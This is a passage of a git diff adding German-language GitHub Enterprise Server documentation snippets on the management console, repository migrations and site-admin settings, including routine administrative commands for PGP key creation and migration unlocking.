+  ![Registerkarte „Hostname“ auf der Randleiste mit den Einstellungen](/assets/images/enterprise/management-console/hostname-sidebar.png)
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/pages-tab.md b/translations/de-DE/data/reusables/enterprise_management_console/pages-tab.md
new file mode 100644
index 0000000000..f36caa7c6e
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/pages-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: dd5859c8947d58250403800a0be8638676c0d729
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108404"
+---
+1. Klicke auf der linken Randleiste auf **Seiten**.
+![Randleiste mit der Option „Seiten“](/assets/images/enterprise/management-console/sidebar-pages.png)
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/privacy.md b/translations/de-DE/data/reusables/enterprise_management_console/privacy.md
new file mode 100644
index 0000000000..ec22b003a8
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/privacy.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a053692e7dcfaef2dddfbf75a60562cbeab37945
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884931"
+---
+1. Klicke auf der linken Randleiste auf **Datenschutz**.
+![Registerkarte „Datenschutz“ auf der Randleiste mit den Einstellungen](/assets/images/enterprise/management-console/sidebar-privacy.png)
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/save-settings.md b/translations/de-DE/data/reusables/enterprise_management_console/save-settings.md
new file mode 100644
index 0000000000..526f9445cd
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/save-settings.md
@@ -0,0 +1,19 @@
+---
+ms.openlocfilehash: 8a51aa2f73c24c78b7f21f78a346195bf168b5e3
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145108400"
+---
+1. Klicke unter der linken Randleiste auf **Einstellungen speichern**.
+
+   ![Screenshot der Schaltfläche „Einstellungen speichern“ in der {% data variables.enterprise.management_console %}](/assets/images/enterprise/management-console/save-settings.png)
+
+   {% note %}
+
+   **Hinweis**: Durch das Speichern von Einstellungen in der {% data variables.enterprise.management_console %} werden Systemdienste neu gestartet, was zu einer für den Benutzer feststellbaren Downtime führen könnte.
+
+   {% endnote %}
+
+{% data reusables.enterprise_site_admin_settings.wait-for-configuration-run %}
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/select-tls-only.md b/translations/de-DE/data/reusables/enterprise_management_console/select-tls-only.md
new file mode 100644
index 0000000000..6b7cd3ec57
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/select-tls-only.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 1e17e74f1f1674786ecc7e44a4e8fc46fd11c54a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881635"
+---
+1. Wähle **Nur TLS (empfohlen)** aus.
+  ![Kontrollkästchen zum Auswählen von „Nur TLS“](/assets/images/enterprise/management-console/tls-only.png)
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/support-link.md b/translations/de-DE/data/reusables/enterprise_management_console/support-link.md
new file mode 100644
index 0000000000..0bd31a773b
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/support-link.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 96a4e234d7baf6821da1525b4bac8e1f51715367
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108399"
+---
+4. Klicke im oberen rechten Bereich der {% data variables.enterprise.management_console %} auf **Support**.
+  ![Schaltfläche für den Zugriff auf den Supportbereich](/assets/images/enterprise/management-console/support-link.png)
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/test-domain-settings-failure.md b/translations/de-DE/data/reusables/enterprise_management_console/test-domain-settings-failure.md
new file mode 100644
index 0000000000..b30559d713
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/test-domain-settings-failure.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 550156b650dd178552dcc342c1246a1e11ab2465
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "146332184"
+---
+1. Wenn nicht neben allen Einträgen ein grünes Häkchen angezeigt wird, solltest Du Deine Konfiguration auf die fehlgeschlagene Einstellung überprüfen. Weitere Informationen findest du unter [Konfigurieren von DNS-Namenservern](/enterprise/admin/guides/installation/configuring-dns-nameservers/).
+![Tabelle, in welcher der Status der DNS- und SSL-Konfigurationen gezeigt wird](/assets/images/enterprise/management-console/domain-dns-ssl-settings-check.png)
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/test-storage-button.md b/translations/de-DE/data/reusables/enterprise_management_console/test-storage-button.md
new file mode 100644
index 0000000000..2133c03620
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/test-storage-button.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 858e3aad4a0ffb2854dbf6dbebfb00a19876d714
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109358"
+---
+1. Klicke auf die Schaltfläche **Speichereinstellungen testen**, um deine Speichereinstellungen zu überprüfen.
+
+   Wenn bei der Überprüfung der Speichereinstellungen Fehler auftreten, überprüfe die Einstellungen mit dem Speicheranbieter, und versuche es erneut.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/type-management-console-password.md b/translations/de-DE/data/reusables/enterprise_management_console/type-management-console-password.md
new file mode 100644
index 0000000000..f4ab017c51
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/type-management-console-password.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: ca83bd1290900c48311e15c8ed990ca00bcc0971
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108391"
+---
+1. Wenn du dazu aufgefordert wirst, gib dein {% data variables.enterprise.management_console %}-Kennwort ein.
+  ![{% data variables.enterprise.management_console %}-Entsperrbildschirm](/assets/images/enterprise/management-console/unlock-password.png)
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/unlocking-management-console-with-shell.md b/translations/de-DE/data/reusables/enterprise_management_console/unlocking-management-console-with-shell.md
new file mode 100644
index 0000000000..d37d309221
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/unlocking-management-console-with-shell.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 88d76852d3e379e556b364b31199800e73ecd0c7
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148109361"
+---
+Um die {% data variables.enterprise.management_console %} sofort zu entsperren, verwende den Befehl `ghe-reactivate-admin-login` in der Verwaltungsshell. Weitere Informationen findest du unter [Befehlszeilenprogramme](/enterprise/admin/guides/installation/command-line-utilities#ghe-reactivate-admin-login) und [Zugreifen auf die Verwaltungsshell (SSH)](/enterprise/admin/guides/installation/accessing-the-administrative-shell-ssh/).
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/enterprise_management_console/updates-tab.md b/translations/de-DE/data/reusables/enterprise_management_console/updates-tab.md
new file mode 100644
index 0000000000..f3de93cc62
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_management_console/updates-tab.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5aa89f2e6813e84457bca8a8f3693ffd1aea713c
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879228"
+---
+1. Klicke im oberen Bereich der {% data variables.enterprise.management_console %} auf **Updates**.
+![Menüelement „Updates“](/assets/images/enterprise/management-console/updates_tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise_migrations/exclude-file-attachments.md b/translations/de-DE/data/reusables/enterprise_migrations/exclude-file-attachments.md
new file mode 100644
index 0000000000..43b63b3976
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_migrations/exclude-file-attachments.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7efd71d10240161a556013bd76a9d5d6b3ad9211
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108388"
+---
+Dateianhänge können groß sein und blähen Ihr endgültiges Migrationsarchiv ggf. unnötig auf.
diff --git a/translations/de-DE/data/reusables/enterprise_migrations/fork-persistence.md b/translations/de-DE/data/reusables/enterprise_migrations/fork-persistence.md
new file mode 100644
index 0000000000..7813fe41b0
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_migrations/fork-persistence.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 2662278ffa5c4200738a4e9fedff2f6d856b2cb1
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102255"
+---
+{% tip %}
+
+**Hinweis**: Forkbeziehungen bleiben nach einer Migration nicht bestehen.
+
+{% endtip %}
diff --git a/translations/de-DE/data/reusables/enterprise_migrations/locking-repositories.md b/translations/de-DE/data/reusables/enterprise_migrations/locking-repositories.md
new file mode 100644
index 0000000000..e0aa0c2a55
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_migrations/locking-repositories.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 1254cbeb3ee84e625e46ebc13be30336fd60a41d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145108384"
+---
+{% tip %}
+
+**Hinweis**: Das Sperren eines Repositorys verhindert den gesamten Schreibzugriff auf das Repository. Einem gesperrten Repository können keine neuen Teams oder Mitarbeiter zugeordnet werden.
+
+Wenn du eine Testversion ausführst, musst du das Repository nicht sperren. Wenn du Daten aus einem Repository migrierst, das gerade verwendet wird, empfiehlt {% data variables.product.company_short %} die Sperrung des Repositorys. Weitere Informationen findest du unter [Informationen zu Migrationen](/enterprise/admin/migrations/about-migrations#types-of-migrations).
+{% endtip %}
diff --git a/translations/de-DE/data/reusables/enterprise_migrations/make-a-list.md b/translations/de-DE/data/reusables/enterprise_migrations/make-a-list.md
new file mode 100644
index 0000000000..a70f931e05
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_migrations/make-a-list.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 687916ec79cfe8fcb94582b389a32ee165828256
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882175"
+---
+1. Erstelle zum Minimieren der Ausfallzeit eine Liste der Repositorys, die Du von der Quellinstanz exportieren möchtest. Du kannst mehrere Repositorys gleichzeitig zu einem Export hinzufügen. verwende dazu eine Textdatei, in der die URL jedes Repositorys in einer separaten Zeile aufgelistet wird.
diff --git a/translations/de-DE/data/reusables/enterprise_migrations/ready-to-import-migrations.md b/translations/de-DE/data/reusables/enterprise_migrations/ready-to-import-migrations.md
new file mode 100644
index 0000000000..99252215a3
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_migrations/ready-to-import-migrations.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6adf1d17e7af647a97d0408676555f4da587d408
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882987"
+---
+1. Informationen zum Vorbereiten der archivierten Migrationsdaten für den Import in eine {% data variables.product.prodname_ghe_server %}-Instanz findest du unter [Vorbereiten der Datenmigration zu deinem Unternehmen](/enterprise/admin/user-management/preparing-to-migrate-data-to-your-enterprise).
diff --git a/translations/de-DE/data/reusables/enterprise_migrations/review-the-import-csv.md b/translations/de-DE/data/reusables/enterprise_migrations/review-the-import-csv.md
new file mode 100644
index 0000000000..9e24095bc5
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_migrations/review-the-import-csv.md
@@ -0,0 +1,23 @@
+---
+ms.openlocfilehash: 52ba84fdbfdaa4150aff2b1e1bba858bf1ab7d41
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102251"
+---
+1. Überprüfe die CSV-Datei in `/PATH/REPO-NAME.git/git-import/raw-authors.csv`. Sie sollte die folgenden Spalten enthalten:
+    - `ID`: der im ursprünglichen Repository gespeicherte Autor, gefolgt von einem eindeutigen Kennzeichner
+    - `NAME`: der im ursprünglichen Repository gespeicherte Autor
+
+  Um Autoren aus dem ursprünglichen Repository einer E-Mail-Adresse und einem Namen zuzuordnen, erstelle eine neue CSV-Datei mit den Spalten `ID,(ignored),GIT_EMAIL,GIT_NAME`, wodurch die Autorinformationen für alles durch „ID“ mit „GIT_EMAIL“ und „GIT_NAME“ ersetzt werden.
+
+  #### Beispiel:
+
+   - Ursprüngliche Autor-ID: `octocat@111111-2222-3333-4444-55555555555`
+   - Neue E-Mail-Adresse: `octocat@github.com`
+   - Neuer Name: `The Octocat`
+
+   Um den ursprünglichen Autor dem neuen Git-Benutzer zuzuordnen, sollte in der CSV-Datei die folgende Zeile enthalten sein:
+
+   `octocat@111111-2222-3333-4444-55555555555, ,octocat@github.com,The Octocat`
diff --git a/translations/de-DE/data/reusables/enterprise_migrations/specify-staging-path.md b/translations/de-DE/data/reusables/enterprise_migrations/specify-staging-path.md
new file mode 100644
index 0000000000..25aa688522
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_migrations/specify-staging-path.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: b028e6d08c2089d0a3bbbd1094384a2f1570cc94
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145108376"
+---
+Um anzugeben, wo Migrationsdateien gestaget werden sollen, füge dem Befehl `--staging-path=/full/staging/path` an. Wird standardmäßig auf `/data/user/tmp` festgelegt.
diff --git a/translations/de-DE/data/reusables/enterprise_migrations/token-generation.md b/translations/de-DE/data/reusables/enterprise_migrations/token-generation.md
new file mode 100644
index 0000000000..43d58d2d16
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_migrations/token-generation.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 81c4b3d1b2f259aab9fd17a9caa5269b393863f8
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145102247"
+---
+[Generieren eines Zugriffstokens](/enterprise/user/articles/creating-an-access-token-for-command-line-use/) mit den Bereichen `repo` und `admin:org`
diff --git a/translations/de-DE/data/reusables/enterprise_migrations/unlocking-on-instances.md b/translations/de-DE/data/reusables/enterprise_migrations/unlocking-on-instances.md
new file mode 100644
index 0000000000..cb8e224941
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_migrations/unlocking-on-instances.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 723b3a50c568067f170b08e61be28ac71ec80002
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102244"
+---
+1. Entsperre alle importierten Repositorys mit dem `ghe-migrator unlock`-Befehl. Du benötigst Deine Migrations-GUID:
+```shell
+$ ghe-migrator unlock -g <em>MIGRATION_GUID</em>
+> Unlocked octo-org/octo-project
+```
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/about-ssh-access.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/about-ssh-access.md
new file mode 100644
index 0000000000..7ca44eb3ac
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/about-ssh-access.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 27856a5cdd0df1a4f322badb1bab19098a09c101
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147882803"
+---
+Mit dem SSH-Zugriff kannst du die Befehlszeilenprogramme von {% data variables.product.product_name %} ausführen, um Probleme zu behandeln, Sicherungen auszuführen und die Replikation zu konfigurieren.
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/about-the-management-console.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/about-the-management-console.md
new file mode 100644
index 0000000000..224bd4b032
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/about-the-management-console.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 1c9e050d8069ae50b62fb6021b8c8fd60d78c67d
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102236"
+---
+Du kannst die {% data variables.enterprise.management_console %} verwenden, um die Einstellungen für virtuelle Geräte zu verwalten, also beispielsweise die Domäne, die Authentifizierung und SSL.
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/about-the-site-admin-dashboard.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/about-the-site-admin-dashboard.md
new file mode 100644
index 0000000000..609407f632
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/about-the-site-admin-dashboard.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 38b965c859a7c9966d5f3c8948f98838e096a3d7
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102227"
+---
+Du kannst das Websiteadministratordashboard verwenden, um Benutzer, Organisationen und Repositorys in deinem Unternehmen direkt in {% data variables.product.product_name %} zu verwalten.
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/access-settings.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/access-settings.md
new file mode 100644
index 0000000000..016f1006f1
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/access-settings.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 72fd1a6e5cca7fb07e2d908801041edd659f179e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102224"
+---
+1. Klicke in einem Verwaltungskonto auf {% data variables.product.product_name %}, und klicke in der oberen rechten Ecke einer beliebigen Seite auf {% octicon "rocket" aria-label="The rocket ship" %}.
+
+   ![Screenshot des Raketensymbols für den Zugriff auf Websiteadministratoreinstellungen](/assets/images/enterprise/site-admin-settings/access-new-settings.png)
+
+1. Wenn du dich nicht bereits auf der Seite „Websiteadministrator“ befindest, klicke in der oberen linken Ecke auf **Websiteadministrator**.
+
+   ![Screenshot des Links „Websiteadministrator“](/assets/images/enterprise/site-admin-settings/site-admin-link.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/add-key-to-web-flow-user.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/add-key-to-web-flow-user.md
new file mode 100644
index 0000000000..9c5a162af9
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/add-key-to-web-flow-user.md
@@ -0,0 +1,22 @@
+---
+ms.openlocfilehash: 632a3ac2c6b2d5d074ef3b1db598ed57a89195c5
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147369249"
+---
+1. Führe den folgenden Befehl aus, wobei du KEY-ID durch deine PGP-Schlüssel-ID ersetzt.
+
+   ```bash{:copy}
+   gpg --armor --export KEY-ID
+   ```
+1. Kopiere deinen PGP-Schlüssel, der mit `-----BEGIN PGP PUBLIC KEY BLOCK-----` beginnt und auf `-----END PGP PUBLIC KEY BLOCK-----` endet.
+1. Melde dich bei {% data variables.product.prodname_ghe_server %} als `web-flow`-Benutzer*in an.
+1. Füge dem Benutzerprofil den öffentlichen PGP-Schlüssel hinzu. Weitere Informationen findest du unter [Hinzufügen eines GPG-Schlüssels zu deinem {% data variables.product.prodname_dotcom %}-Konto](/authentication/managing-commit-signature-verification/adding-a-gpg-key-to-your-github-account).
+
+   {% note %}
+
+   **Hinweis:** Entferne keine anderen öffentlichen Schlüssel aus der Liste der GPG-Schlüssel. Wenn ein öffentlicher Schlüssel gelöscht wird, werden alle mit dem entsprechenden privaten Schlüssel signierten Commits nicht mehr als überprüft gekennzeichnet.
+
+   {% endnote %}
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/admin-tab.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/admin-tab.md
new file mode 100644
index 0000000000..f81cf1576a
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/admin-tab.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e6aa444d417bb5dc50d42f2b387425d432968cb4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102220"
+---
+1. Klicke auf der linken Randleiste auf **Verwaltung**. ![Verwaltungstools](/assets/images/enterprise/site-admin-settings/user/user-admin-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/admin-top-tab.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/admin-top-tab.md
new file mode 100644
index 0000000000..2de894a927
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/admin-top-tab.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 93cfb57b7c97384f84ea904849852700975a46aa
+ms.sourcegitcommit: 80842b4e4c500daa051eff0ccd7cde91c2d4bb36
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884534"
+---
+1. Klicke in der oberen rechten Ecke der Seite auf {% octicon "gear" %} **Administrator**. ![Administratortools](/assets/images/enterprise/site-admin-settings/user/user-admin-tab-top.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/business.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/business.md
new file mode 100644
index 0000000000..200e5be0c8
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/business.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 63978832a5a5c96b9be6eb227aa8c482bc983ed1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102212"
+---
+1. Klicke auf der linken Randleiste auf **Unternehmen{% ifversion ghes or ghae %}sübersicht{% endif %}** .
+  ![Registerkarte „Unternehmen{% ifversion ghes or ghae %}sübersicht{% endif %}“ in den Standortadministratoreinstellungen](/assets/images/enterprise/site-admin-settings/enterprise-tab.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/click-preview.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/click-preview.md
new file mode 100644
index 0000000000..bc09232865
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/click-preview.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: eff7c5769c0d11468abfec4b09790eabca005132
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145102208"
+---
+1. Klicke zum Anzeigen der dargestellten Nachricht auf **Vorschau**.
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/click-repo.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/click-repo.md
new file mode 100644
index 0000000000..222971b244
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/click-repo.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: a91887f0f66e52e1526940094d2cfe46447927fd
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102204"
+---
+1. Klicke in den Suchergebnissen auf den Namen des Repository.
+![Suchoptionen für Websiteadministratoreinstellungen](/assets/images/enterprise/site-admin-settings/click-repo.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/click-user-or-org.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/click-user-or-org.md
new file mode 100644
index 0000000000..e169a8236b
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/click-user-or-org.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 675dbe44b68cfb20b86881949893cc1b612f9b4e
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102203"
+---
+1. Klicke in den Suchergebnissen auf den Namen des Benutzers oder der Organisation.
+![Suchoptionen für Websiteadministratoreinstellungen](/assets/images/enterprise/site-admin-settings/click-user.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/click-user.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/click-user.md
new file mode 100644
index 0000000000..cef1adddad
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/click-user.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f2d216f9f14abde73ad0818b96400d10388b3e82
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145067764"
+---
+1. Klicke in den Suchergebnissen auf den Namen des Benutzers.
+![Suchoptionen für Websiteadministratoreinstellungen](/assets/images/enterprise/site-admin-settings/click-user.png)
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/configuring-large-file-storage-short-description.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/configuring-large-file-storage-short-description.md
new file mode 100644
index 0000000000..762310e50c
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/configuring-large-file-storage-short-description.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 60230922c1de68ef231a4bd6ce2d324de65f221c
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145102199"
+---
+{% data variables.large_files.product_name_long %} ({% data variables.large_files.product_name_short %}) ist eine Open-Source-Erweiterung zu Git, mit der Sie große Dateien auf dieselbe Weise wie andere Textdateien verwenden können.
diff --git a/translations/de-DE/data/reusables/enterprise_site_admin_settings/create-pgp-key-web-commit-signing.md b/translations/de-DE/data/reusables/enterprise_site_admin_settings/create-pgp-key-web-commit-signing.md
new file mode 100644
index 0000000000..96d09fb2a4
--- /dev/null
+++ b/translations/de-DE/data/reusables/enterprise_site_admin_settings/create-pgp-key-web-commit-signing.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 8918ea0f8f1e80fdae507aa6a1824cfecf057e0b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147062706"
+---
+1. Erstelle in der Verwaltungsshell einen PGP-Schlüssel. Notiere dir die E-Mail-Adresse und die Schlüssel-ID.
+
+    ```bash{:copy}
+    gpg --full-generate-key --pinentry-mode=loopback
+    ```
+    
+    - Verwende den Standardschlüsseltyp und mindestens `4096` Bits ohne Ablauf. 
+    - Verwende `web-flow` als Benutzernamen. 
